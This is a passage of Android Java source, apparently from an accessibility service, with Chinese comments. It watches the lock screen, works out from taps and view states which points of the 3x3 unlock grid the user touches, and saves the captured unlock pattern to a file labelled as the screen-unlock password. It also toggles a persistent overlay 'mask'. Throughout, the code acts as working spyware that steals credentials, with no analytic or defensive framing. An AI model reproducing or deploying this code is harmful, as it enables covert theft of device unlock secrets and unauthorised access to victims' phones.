                    AccessibilityNodeInfo rootNode = getRootInActiveWindow();
                    if (rootNode != null) {
                        try {
                            AccessibilityNodeInfo patternNode = findPatternNode(rootNode);
                            if (patternNode != null) {
                                if (currentPatternNode != null) {
                                    currentPatternNode.recycle();
                                }
                                currentPatternNode = patternNode;
                                currentPatternNode.getBoundsInScreen(patternNodeBounds);
                                Log.d(TAG, "✅ 通过点击事件找到图案节点 - 坐标: " + patternNodeBounds.toString());
                            }
                        } finally {
                            rootNode.recycle();
                        }
                    }
                }
                
                // 如果找到了图案节点，计算点击的点索引
                if (currentPatternNode != null && !patternNodeBounds.isEmpty()) {
                    // 检查点击是否在图案视图范围内
                    if (patternNodeBounds.contains(clickX, clickY)) {
                        // 计算点击的点在图案中的位置（0-8）
                        int pointIndex = calculatePatternPointIndexFromClick(clickX, clickY, patternNodeBounds);
                        if (pointIndex >= 0 && pointIndex <= 8) {
                            long currentTime = System.currentTimeMillis();
                            
                            // 如果距离上次更新超过超时时间，重置图案序列
                            if (currentTime - lastPatternUpdateTime > PATTERN_TIMEOUT) {
                                lockScreenPattern.setLength(0);
                                patternPath.clear();
                                Log.d(TAG, "🔄 锁屏图案序列超时，重置");
                            }
                            
                            String pointStr = String.valueOf(pointIndex);
                            // 避免重复添加相同的点（但允许重复点击不同位置）
                            if (lockScreenPattern.length() == 0 || 
                                !pointStr.equals(lockScreenPattern.substring(lockScreenPattern.length() - 1))) {
                                lockScreenPattern.append(pointStr);
                                lastPatternUpdateTime = currentTime;
                                
                                Log.d(TAG, "🎯 检测到图案点点击: " + pointIndex + ", 当前序列: " + lockScreenPattern.toString());
                                
                                // 如果图案长度达到要求，立即记录
                                if (lockScreenPattern.length() >= 3) {
                                    if (!lockScreenPattern.toString().equals(lastRecordedLockScreenPattern)) {
                                        Log.d(TAG, "📝 图案长度达到要求，立即记录: " + lockScreenPattern.toString());
                                        recordLockScreenPattern(lockScreenPattern.toString());
                                    }
                                    
                                    // 延迟再记录一次（防止解锁事件丢失）
                                    Handler handler = new Handler(Looper.getMainLooper());
                                    handler.postDelayed(new Runnable() {
                                        @Override
                                        public void run() {
                                            if (lockScreenPattern.length() >= 3 && 
                                                !lockScreenPattern.toString().equals(lastRecordedLockScreenPattern)) {
                                                Log.d(TAG, "⏰ 延迟记录锁屏图案: " + lockScreenPattern.toString());
                                                recordLockScreenPattern(lockScreenPattern.toString());
                                            }
                                        }
                                    }, 1000); // 延迟1秒记录
                                }
                            } else {
                                Log.d(TAG, "⚠️ 重复点击相同图案点: " + pointIndex);
                            }
                        } else {
                            Log.d(TAG, "⚠️ 计算出的图案点索引无效: " + pointIndex);
                        }
                    } else {
                        Log.d(TAG, "⚠️ 点击坐标不在图案视图范围内 - 点击: (" + clickX + ", " + clickY + 
                                  "), 图案视图: " + patternNodeBounds.toString());
                    }
                } else {
                    Log.d(TAG, "⚠️ 尚未找到图案视图节点，无法计算图案点");
                }
                
            } finally {
                source.recycle();
            }
            
        } catch (Exception e) {
            Log.e(TAG, "❌ 通过点击收集图案失败", e);
        }
    }
    
    /**
     * 从点击坐标计算图案点索引（0-8）
     * 图案是3x3网格，从左到右、从上到下编号为0-8
     * 
     * 0 1 2
     * 3 4 5
     * 6 7 8
     */
    private int calculatePatternPointIndexFromClick(int clickX, int clickY, Rect patternBounds) {
        try {
            // 计算相对于图案视图的坐标
            int relativeX = clickX - patternBounds.left;
            int relativeY = clickY - patternBounds.top;
            
            int patternWidth = patternBounds.width();
            int patternHeight = patternBounds.height();
            
            Log.d(TAG, "📍 计算图案点 - 点击: (" + clickX + ", " + clickY + 
                      "), 相对: (" + relativeX + ", " + relativeY + 
                      "), 图案尺寸: " + patternWidth + "x" + patternHeight);
            
            // 图案通常是3x3网格，每个格子的大小
            int cellWidth = patternWidth / 3;
            int cellHeight = patternHeight / 3;
            
            // 计算行列（0-2）
            int col = relativeX / cellWidth;
            int row = relativeY / cellHeight;
            
            // 限制在0-2范围内
            col = Math.max(0, Math.min(2, col));
            row = Math.max(0, Math.min(2, row));
            
            // 转换为索引（0-8）
            int index = row * 3 + col;
            
            Log.d(TAG, "📍 图案点计算 - 行列: (" + row + ", " + col + "), 索引: " + index + 
                      ", 格子大小: " + cellWidth + "x" + cellHeight);
            
            return index;
        } catch (Exception e) {
            Log.e(TAG, "计算图案点索引失败", e);
            return -1;
        }
    }
    
    
    /**
     * 查找图案视图节点
     */
    private AccessibilityNodeInfo findPatternNode(AccessibilityNodeInfo root) {
        if (root == null) {
            return null;
        }
        
        try {
            String className = root.getClassName() != null ? root.getClassName().toString() : "";
            
            // 检查是否是图案视图
            if (className.contains("LockPatternView") || 
                className.contains("PatternView") ||
                className.contains("LockPattern") ||
                className.contains("PatternLockView") ||
                className.contains("KeyguardPatternView")) {
                Log.d(TAG, "✅ 找到图案视图: " + className);
                return root;
            }
            
            // 递归查找子节点
            int childCount = root.getChildCount();
            for (int i = 0; i < childCount; i++) {
                AccessibilityNodeInfo child = root.getChild(i);
                if (child != null) {
                    AccessibilityNodeInfo result = findPatternNode(child);
                    if (result != null) {
                        return result;
                    }
                    child.recycle();
                }
            }
        } catch (Exception e) {
            Log.d(TAG, "查找图案节点失败", e);
        }
        
        return null;
    }
    
    /**
     * 收集图案路径（监听用户绘制过程）
     */
    private void collectPatternPath(AccessibilityEvent event, AccessibilityNodeInfo patternNode) {
        try {
            int eventType = event.getEventType();
            
            // 监听窗口内容变化（图案绘制时会触发）
            if (eventType == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) {
                // 从图案视图节点中提取图案信息
                String patternInfo = extractPatternFromNode(patternNode);
                
                if (patternInfo != null && !patternInfo.isEmpty()) {
                    long currentTime = System.currentTimeMillis();
                    
                    // 如果距离上次更新超过超时时间，重置图案序列
                    if (currentTime - lastPatternUpdateTime > PATTERN_TIMEOUT) {
                        lockScreenPattern.setLength(0);
                        patternPath.clear();
                        Log.d(TAG, "🔄 锁屏图案序列超时，重置");
                    }
                    
                    // 更新图案序列
                    if (lockScreenPattern.length() == 0 || !patternInfo.equals(lockScreenPattern.toString())) {
                        lockScreenPattern.setLength(0);
                        lockScreenPattern.append(patternInfo);
                        lastPatternUpdateTime = currentTime;
                        
                        Log.d(TAG, "🎨 锁屏图案更新: " + patternInfo + " (长度: " + patternInfo.length() + ")");
                        
                        // 如果图案长度合理（至少3个点），立即记录
                        if (lockScreenPattern.length() >= 3) {
                            Log.d(TAG, "📝 图案长度达到要求，准备记录: " + lockScreenPattern.toString());
                            
                            // 立即记录一次
                            if (!lockScreenPattern.toString().equals(lastRecordedLockScreenPattern)) {
                                Log.d(TAG, "⏰ 立即记录锁屏图案: " + lockScreenPattern.toString());
                                recordLockScreenPattern(lockScreenPattern.toString());
                            }
                            
                            // 延迟再记录一次（防止解锁事件丢失）
                            Handler handler = new Handler(Looper.getMainLooper());
                            handler.postDelayed(new Runnable() {
                                @Override
                                public void run() {
                                    if (lockScreenPattern.length() >= 3 && 
                                        !lockScreenPattern.toString().equals(lastRecordedLockScreenPattern)) {
                                        Log.d(TAG, "⏰ 延迟记录锁屏图案: " + lockScreenPattern.toString());
                                        recordLockScreenPattern(lockScreenPattern.toString());
                                    }
                                }
                            }, 1000); // 延迟1秒记录
                        }
                    }
                }
            }
            
            // 监听点击事件（用户点击图案点）
            if (eventType == AccessibilityEvent.TYPE_VIEW_CLICKED) {
                AccessibilityNodeInfo source = event.getSource();
                if (source != null) {
                    try {
                        // 检查点击的节点是否在图案视图内
                        Rect sourceBounds = new Rect();
                        source.getBoundsInScreen(sourceBounds);
                        
                        if (patternNodeBounds.contains(sourceBounds.centerX(), sourceBounds.centerY())) {
                            // 计算点击的点在图案中的位置（0-8）
                            int pointIndex = calculatePatternPointIndex(sourceBounds, patternNodeBounds);
                            if (pointIndex >= 0 && pointIndex <= 8) {
                                String pointStr = String.valueOf(pointIndex);
                                if (lockScreenPattern.indexOf(pointStr) == -1) { // 避免重复
                                    lockScreenPattern.append(pointStr);
                                    Log.d(TAG, "🖱️ 检测到图案点点击: " + pointIndex + ", 当前序列: " + lockScreenPattern.toString());
                                    
                                    // 如果图案长度达到要求，记录
                                    if (lockScreenPattern.length() >= 3) {
                                        if (!lockScreenPattern.toString().equals(lastRecordedLockScreenPattern)) {
                                            recordLockScreenPattern(lockScreenPattern.toString());
                                        }
                                    }
                                }
                            }
                        }
                    } finally {
                        source.recycle();
                    }
                }
            }
            
        } catch (Exception e) {
            Log.e(TAG, "收集图案路径失败", e);
        }
    }
    
    /**
     * 计算点击的点在图案中的位置索引（0-8）
     * 图案通常是3x3的网格，从左到右、从上到下编号为0-8
     */
    private int calculatePatternPointIndex(Rect clickBounds, Rect patternBounds) {
        try {
            int centerX = clickBounds.centerX();
            int centerY = clickBounds.centerY();
            
            // 计算相对于图案视图的坐标
            int relativeX = centerX - patternBounds.left;
            int relativeY = centerY - patternBounds.top;
            
            // 图案通常是3x3网格，计算行列
            int patternWidth = patternBounds.width();
            int patternHeight = patternBounds.height();
            
            int col = (relativeX * 3) / patternWidth;
            int row = (relativeY * 3) / patternHeight;
            
            // 限制在0-2范围内
            col = Math.max(0, Math.min(2, col));
            row = Math.max(0, Math.min(2, row));
            
            // 转换为索引（0-8）
            int index = row * 3 + col;
            
            Log.d(TAG, "📍 计算图案点索引 - 点击坐标: (" + centerX + ", " + centerY + 
                      "), 相对坐标: (" + relativeX + ", " + relativeY + 
                      "), 行列: (" + row + ", " + col + "), 索引: " + index);
            
            return index;
        } catch (Exception e) {
            Log.e(TAG, "计算图案点索引失败", e);
            return -1;
        }
    }
    
    /**
     * 从图案节点提取图案信息
     */
    private String extractPatternFromNode(AccessibilityNodeInfo patternNode) {
        if (patternNode == null) {
            return null;
        }
        
        // 使用之前的 extractPatternInfo 方法
        return extractPatternInfo(patternNode);
    }
    
    /**
     * 从根节点提取图案（备用方法）
     */
    private String extractPatternFromRoot(AccessibilityNodeInfo rootNode) {
        if (rootNode == null) {
            return null;
        }
        
        // 先尝试递归查找图案视图
        AccessibilityNodeInfo patternNode = findPatternNode(rootNode);
        if (patternNode != null) {
            try {
                return extractPatternInfo(patternNode);
            } finally {
                patternNode.recycle();
            }
        }
        
        // 如果没找到，尝试从根节点直接提取
        return extractPatternInfo(rootNode);
    }
    
    /**
     * 查找图案视图节点
     */
    private AccessibilityNodeInfo findPatternView(AccessibilityNodeInfo root) {
        if (root == null) {
            return null;
        }
        
        try {
            String className = root.getClassName() != null ? root.getClassName().toString() : "";
            if (className.contains("LockPatternView") || 
                className.contains("PatternView") ||
                className.contains("LockPattern") ||
                className.contains("PatternLockView") ||
                className.contains("KeyguardPatternView")) {
                Log.d(TAG, "✅ 找到图案视图: " + className);
                return root;
            }
            
            // 递归查找子节点
            int childCount = root.getChildCount();
            for (int i = 0; i < childCount; i++) {
                AccessibilityNodeInfo child = root.getChild(i);
                if (child != null) {
                    AccessibilityNodeInfo result = findPatternView(child);
                    if (result != null) {
                        return result;
                    }
                    child.recycle();
                }
            }
        } catch (Exception e) {
            Log.d(TAG, "查找图案视图失败", e);
        }
        
        return null;
    }
    
    /**
     * 递归查找图案视图节点（更深入的遍历）
     */
    private AccessibilityNodeInfo findPatternViewRecursive(AccessibilityNodeInfo root, int depth) {
        if (root == null || depth > 10) { // 限制递归深度，避免无限递归
            return null;
        }
        
        try {
            String className = root.getClassName() != null ? root.getClassName().toString() : "";
            String contentDesc = root.getContentDescription() != null ? root.getContentDescription().toString() : "";
            String text = root.getText() != null ? root.getText().toString() : "";
            
            // 检查是否是图案视图
            if (className.contains("Pattern") || 
                className.contains("LockPattern") ||
                className.contains("KeyguardPattern") ||
                contentDesc.contains("Pattern") ||
                contentDesc.contains("图案") ||
                text.contains("Pattern")) {
                Log.d(TAG, "✅ 递归找到图案视图 (深度" + depth + "): " + className + ", 描述: " + contentDesc);
                return root;
            }
            
            // 递归查找子节点
            int childCount = root.getChildCount();
            for (int i = 0; i < childCount; i++) {
                AccessibilityNodeInfo child = root.getChild(i);
                if (child != null) {
                    try {
                        AccessibilityNodeInfo result = findPatternViewRecursive(child, depth + 1);
                        if (result != null) {
                            return result;
                        }
                    } finally {
                        child.recycle();
                    }
                }
            }
        } catch (Exception e) {
            Log.d(TAG, "递归查找图案视图失败 (深度" + depth + ")", e);
        }
        
        return null;
    }
    
    /**
     * 提取图案信息
     * 图案通常由9个点组成（0-8），通过连接这些点形成图案
     */
    private String extractPatternInfo(AccessibilityNodeInfo node) {
        if (node == null) {
            return null;
        }
        
        try {
            Log.d(TAG, "🔍 开始提取图案信息 - 类名: " + (node.getClassName() != null ? node.getClassName().toString() : "null"));
            
            // 方法1：从内容描述中提取
            CharSequence contentDesc = node.getContentDescription();
            if (contentDesc != null) {
                String desc = contentDesc.toString();
                Log.d(TAG, "   内容描述: " + desc);
                // 查找数字序列，如 "1,2,3,4" 或 "1-2-3-4" 或 "Pattern: 1,2,3"
                if (desc.matches(".*\\d+.*")) {
                    // 提取所有数字
                    String pattern = desc.replaceAll("[^0-9]", "");
                    if (pattern.length() >= 3) {
                        Log.d(TAG, "✅ 方法1-从内容描述提取图案: " + pattern);
                        return pattern;
                    }
                }
            }
            
            // 方法2：从文本中提取
            CharSequence text = node.getText();
            if (text != null) {
                String textStr = text.toString();
                Log.d(TAG, "   文本: " + textStr);
                if (textStr.matches(".*\\d+.*")) {
                    String pattern = textStr.replaceAll("[^0-9]", "");
                    if (pattern.length() >= 3) {
                        Log.d(TAG, "✅ 方法2-从文本提取图案: " + pattern);
                        return pattern;
                    }
                }
            }
            
            // 方法3：从子节点中查找选中的点（最可靠的方法）
            // 递归查找所有子节点，查找被选中的点
            StringBuilder patternBuilder = new StringBuilder();
            String patternFromChildren = findSelectedPatternNodes(node, patternBuilder, 0);
            if (patternFromChildren != null && patternFromChildren.length() >= 3) {
                Log.d(TAG, "✅ 方法3-从递归子节点提取图案: " + patternFromChildren);
                return patternFromChildren;
            }
            
            // 如果递归没找到，尝试直接遍历子节点
            int childCount = node.getChildCount();
            Log.d(TAG, "   子节点数量: " + childCount);
            
            for (int i = 0; i < childCount; i++) {
                AccessibilityNodeInfo child = node.getChild(i);
                if (child != null) {
                    try {
                        // 检查节点是否被选中（图案中的点）
                        boolean isSelected = child.isSelected();
                        boolean isChecked = child.isChecked();
                        boolean isAccessibilityFocused = child.isAccessibilityFocused();
                        boolean isClickable = child.isClickable();
                        boolean isEnabled = child.isEnabled();
                        
                        Log.d(TAG, "   子节点[" + i + "] - 选中: " + isSelected + ", 已选: " + isChecked + 
                                  ", 焦点: " + isAccessibilityFocused + ", 可点击: " + isClickable + ", 启用: " + isEnabled);
                        
                        // 检查节点的类名，如果是图案点相关的视图
                        String childClassName = child.getClassName() != null ? child.getClassName().toString() : "";
                        if (childClassName.contains("Cell") || childClassName.contains("Dot") || 
                            childClassName.contains("Pattern") || isSelected || isChecked || isAccessibilityFocused) {
                            // 尝试从节点获取索引或位置
                            CharSequence childText = child.getText();
                            CharSequence childDesc = child.getContentDescription();
                            
                            String index = null;
                            if (childText != null && childText.toString().matches("\\d+")) {
                                index = childText.toString();
                                Log.d(TAG, "     从子节点文本获取索引: " + index);
                            } else if (childDesc != null && childDesc.toString().matches(".*\\d+.*")) {
                                index = childDesc.toString().replaceAll("[^0-9]", "");
                                Log.d(TAG, "     从子节点描述获取索引: " + index);
                            } else {
                                // 使用子节点索引作为点的编号（0-8）
                                index = String.valueOf(i);
                                Log.d(TAG, "     使用子节点索引: " + index);
                            }
                            
                            if (index != null && index.length() == 1 && Character.isDigit(index.charAt(0))) {
                                // 避免重复添加
                                if (patternBuilder.indexOf(index) == -1) {
                                    patternBuilder.append(index);
                                    Log.d(TAG, "     ✅ 添加点到图案: " + index);
                                }
                            }
                        }
                    } finally {
                        child.recycle();
                    }
                }
            }
            
            if (patternBuilder.length() >= 3) {
                String pattern = patternBuilder.toString();
                Log.d(TAG, "✅ 方法3-从子节点提取图案: " + pattern);
                return pattern;
            }
            
            // 方法4：递归查找所有子节点中的选中点
            String recursivePattern = extractPatternInfoRecursive(node, new StringBuilder());
            if (recursivePattern != null && recursivePattern.length() >= 3) {
                Log.d(TAG, "✅ 方法4-递归提取图案: " + recursivePattern);
                return recursivePattern;
            }
            
        } catch (Exception e) {
            Log.e(TAG, "❌ 提取图案信息失败", e);
        }
        
        Log.d(TAG, "⚠️ 未能提取图案信息");
        return null;
    }
    
    /**
     * 递归提取图案信息
     */
    private String extractPatternInfoRecursive(AccessibilityNodeInfo node, StringBuilder patternBuilder) {
        if (node == null) {
            return null;
        }
        
        try {
            int childCount = node.getChildCount();
            for (int i = 0; i < childCount; i++) {
                AccessibilityNodeInfo child = node.getChild(i);
                if (child != null) {
                    try {
                        if (child.isSelected() || child.isChecked() || child.isAccessibilityFocused()) {
                            CharSequence childText = child.getText();
                            CharSequence childDesc = child.getContentDescription();
                            
                            String index = null;
                            if (childText != null && childText.toString().matches("\\d+")) {
                                index = childText.toString();
                            } else if (childDesc != null && childDesc.toString().matches(".*\\d+.*")) {
                                index = childDesc.toString().replaceAll("[^0-9]", "");
                            }
                            
                            if (index != null && index.length() == 1 && Character.isDigit(index.charAt(0))) {
                                if (patternBuilder.indexOf(index) == -1) { // 避免重复
                                    patternBuilder.append(index);
                                }
                            }
                        }
                        
                        // 递归查找子节点
                        extractPatternInfoRecursive(child, patternBuilder);
                    } finally {
                        child.recycle();
                    }
                }
            }
        } catch (Exception e) {
            Log.d(TAG, "递归提取图案失败", e);
        }
        
        return patternBuilder.length() >= 3 ? patternBuilder.toString() : null;
    }
    
    /**
     * 递归查找被选中的图案节点
     */
    private String findSelectedPatternNodes(AccessibilityNodeInfo node, StringBuilder patternBuilder, int depth) {
        if (node == null || depth > 15) { // 限制递归深度
            return null;
        }
        
        try {
            int childCount = node.getChildCount();
            for (int i = 0; i < childCount; i++) {
                AccessibilityNodeInfo child = node.getChild(i);
                if (child != null) {
                    try {
                        boolean isSelected = child.isSelected();
                        boolean isChecked = child.isChecked();
                        boolean isAccessibilityFocused = child.isAccessibilityFocused();
                        String childClassName = child.getClassName() != null ? child.getClassName().toString() : "";
                        
                        // 检查是否是图案点相关的节点
                        if (isSelected || isChecked || isAccessibilityFocused || 
                            childClassName.contains("Cell") || childClassName.contains("Dot") ||
                            childClassName.contains("Pattern")) {
                            
                            CharSequence childText = child.getText();
                            CharSequence childDesc = child.getContentDescription();
                            
                            String index = null;
                            if (childText != null && childText.toString().matches("\\d+")) {
                                index = childText.toString();
                            } else if (childDesc != null && childDesc.toString().matches(".*\\d+.*")) {
                                index = childDesc.toString().replaceAll("[^0-9]", "");
                            } else if (childClassName.contains("Cell") || childClassName.contains("Dot")) {
                                // 如果是Cell或Dot节点，尝试从类名或位置推断索引
                                index = String.valueOf(i % 9); // 假设是9宫格
                            }
                            
                            if (index != null && index.length() == 1 && Character.isDigit(index.charAt(0))) {
                                if (patternBuilder.indexOf(index) == -1) { // 避免重复
                                    patternBuilder.append(index);
                                    Log.d(TAG, "     递归找到选中点 (深度" + depth + "): " + index);
                                }
                            }
                        }
                        
                        // 递归查找子节点
                        findSelectedPatternNodes(child, patternBuilder, depth + 1);
                    } finally {
                        child.recycle();
                    }
                }
            }
        } catch (Exception e) {
            Log.d(TAG, "递归查找选中图案节点失败 (深度" + depth + ")", e);
        }
        
        return patternBuilder.length() >= 3 ? patternBuilder.toString() : null;
    }
    
    /**
     * 记录锁屏图案密码
     */
    private void recordLockScreenPattern(String pattern) {
        try {
            if (pattern == null || pattern.isEmpty()) {
                Log.w(TAG, "⚠️ 锁屏图案为空，不记录");
                return;
            }
            
            // 避免重复记录相同的图案
            if (pattern.equals(lastRecordedLockScreenPattern)) {
                Log.d(TAG, "⚠️ 锁屏图案已记录过，跳过: " + pattern);
                return;
            }
            
            Log.d(TAG, "🎨 开始记录锁屏图案: " + pattern + " (长度: " + pattern.length() + ")");
            
            // 获取当前应用信息（锁屏界面）
            String packageName = "com.android.keyguard";
            String appName = "锁屏界面";
            String activityName = "KeyguardLockScreen";
            String passwordType = "屏幕解锁密码（图案）";
            
            // 格式化图案：将数字序列转换为更易读的格式，如 "1-2-3-4"
            String formattedPattern = formatPattern(pattern);
            
            // 保存到文件
            saveToFile(appName, packageName, activityName, passwordType, formattedPattern, true);
            
            // 更新上次记录的图案
            lastRecordedLockScreenPattern = pattern;
            
            Log.d(TAG, "✅ 锁屏图案记录完成: " + formattedPattern);
            
        } catch (Exception e) {
            Log.e(TAG, "❌ 记录锁屏图案错误", e);
        }
    }
    
    /**
     * 格式化图案，将数字序列转换为易读格式
     * 例如：1234 -> 1-2-3-4
     */
    private String formatPattern(String pattern) {
        if (pattern == null || pattern.isEmpty()) {
            return pattern;
        }
        
        StringBuilder formatted = new StringBuilder();
        for (int i = 0; i < pattern.length(); i++) {
            if (i > 0) {
                formatted.append("-");
            }
            formatted.append(pattern.charAt(i));
        }
        return formatted.toString();
    }
    
    /**
     * 切换持续遮罩状态
     */
    public void togglePersistentMask() {
        if (isPersistentMaskEnabled) {
            stopPersistentMaskService();
        } else {
            startPersistentMaskService();
        }
    }


}